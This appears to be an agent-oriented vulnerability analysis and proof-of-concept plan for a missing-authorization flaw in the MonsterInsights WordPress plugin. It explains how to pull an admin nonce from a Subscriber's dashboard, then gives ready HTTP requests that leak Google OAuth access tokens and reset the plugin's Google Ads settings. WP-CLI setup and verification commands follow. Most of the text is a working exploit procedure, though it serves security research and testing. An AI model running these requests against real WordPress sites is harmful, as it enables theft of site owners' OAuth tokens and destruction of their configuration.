Vulnerability Analysis: MonsterInsights Missing Authorization (CVE-2026-5371)

1. Vulnerability Summary

The MonsterInsights plugin (versions <= 10.1.2) contains a missing authorization vulnerability in its Google Ads integration handlers. The functions get_ads_access_token() and reset_experience() within the MonsterInsights_Google_Ads class are registered as AJAX actions (wp_ajax_monsterinsights_ads_get_token and wp_ajax_monsterinsights_ads_reset_experience). While these functions verify a WordPress nonce, they fail to perform any capability checks (e.g., current_user_can()). Consequently, any authenticated user, including those with Subscriber privileges, can retrieve sensitive Google OAuth access tokens or reset the plugin's Google Ads configuration.

2. Attack Vector Analysis

• Endpoints:
  • admin-ajax.php?action=monsterinsights_ads_get_token
  • admin-ajax.php?action=monsterinsights_ads_reset_experience
• Authentication: Authenticated (Subscriber+) required.
• Authorization: None (Missing current_user_can).
• CSRF Protection: Nonce required (Action: mi-admin-nonce, Parameter: nonce).
• Preconditions: The site must be connected to Google Analytics via MonsterInsights for a token to exist. For the reset exploit, the Google Ads integration settings must be populated.

3. Code Flow

1. Action Registration: In includes/ppc/google/class-monsterinsights-google-ads.php, the __construct method registers the AJAX hooks:

   add_action('wp_ajax_monsterinsights_ads_get_token', array($this, 'get_ads_access_token'));
   add_action('wp_ajax_monsterinsights_ads_reset_experience', array($this, 'reset_experience'));
   

2. Nonce Verification: Both handlers call check_ajax_referer('mi-admin-nonce', 'nonce').
3. Vulnerable Sink (Token Exposure): get_ads_access_token() calls $this->get_access_token(), which retrieves the token from a transient (monsterinsights_google_ads_access_token_data) or the API, then returns it via wp_send_json_success.
4. Vulnerable Sink (Setting Reset): reset_experience() calls self::clear_data(), which executes delete_transient(self::TOKEN_CACHE_KEY) and monsterinsights_delete_option(self::SETTINGS_KEY), effectively wiping the integration.

4. Nonce Acquisition Strategy

The mi-admin-nonce is localized for the monsterinsights-admin-setup-wizard script, which is enqueued on various admin pages, including the WordPress Dashboard (index.php), accessible to Subscribers.

1. Target User: Any authenticated user (Subscriber).
2. Target Page: /wp-admin/index.php.
3. Source File: includes/admin/admin-assets.php

   wp_localize_script(
       'monsterinsights-admin-setup-wizard',
       'monsterinsights',
       array(
           'ajax'  => admin_url( 'admin-ajax.php' ),
           'nonce' => wp_create_nonce( 'mi-admin-nonce' ),
       )
   );
   

4. Extraction Command:
   Use browser_navigate to go to /wp-admin/index.php, then:
   browser_eval("window.monsterinsights?.nonce")

5. Exploitation Strategy

Step 1: Token Exposure

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=monsterinsights_ads_get_token&nonce=[EXTRACTED_NONCE]

Expected Response:

{
    "success": true,
    "data": {
        "access_token": "ya29.a0AfH6S..."
    }
}

Step 2: Integration Reset

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=monsterinsights_ads_reset_experience&nonce=[EXTRACTED_NONCE]

Expected Response:

{
    "success": true,
    "data": {
        "message": "Google Ads experience reset successfully."
    }
}

6. Test Data Setup

1. Install and activate MonsterInsights Lite 10.1.2.
2. Mock Authentication: Since actual Google OAuth is difficult in a PoC, manually set the options/transients that the vulnerable functions expect:

   # Set fake settings
   wp option update monsterinsights_google_ads_settings '{"conversion_tracking_id": "AW-123456789"}' --format=json
   # Set fake token in transient
   wp transient set monsterinsights_google_ads_access_token_data '{"token":"poc-fake-access-token","expires_at":"2099-01-01 00:00:00"}' 3600
   # Ensure MI is "authed" (required for get_access_token)
   wp option update monsterinsights_site_auth '{"analytics":{"key":"fake_key"}}' --format=json
   

3. Create a Subscriber user:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

7. Expected Results

• Token Exposure: The AJAX response should contain the value "poc-fake-access-token".
• Reset: The AJAX response should return success, and the monsterinsights_google_ads_settings option should no longer exist in the database.

8. Verification Steps

1. Verify Reset via CLI:

   wp option get monsterinsights_google_ads_settings
   # Expected: Error: Could not find the option with key 'monsterinsights_google_ads_settings'.
   

2. Verify Transient Removal:

   wp transient get monsterinsights_google_ads_access_token_data
   # Expected: (empty/false)
   

9. Alternative Approaches

If window.monsterinsights.nonce is not present on index.php, navigate to any page containing a MonsterInsights notice or the onboarding wizard.
Check admin-assets.php for other scripts that might expose the nonce:

• monsterinsights-admin-common-script localizes monsterinsights_admin_common.dismiss_notice_nonce (different action: monsterinsights-dismiss-notice).
• The mi-admin-nonce is the specific one used by the vulnerable handlers in class-monsterinsights-google-ads.php. If it's missing from the main dashboard, use wp post create to create a page containing a MonsterInsights-specific shortcode if any are available in Lite to force script enqueuing.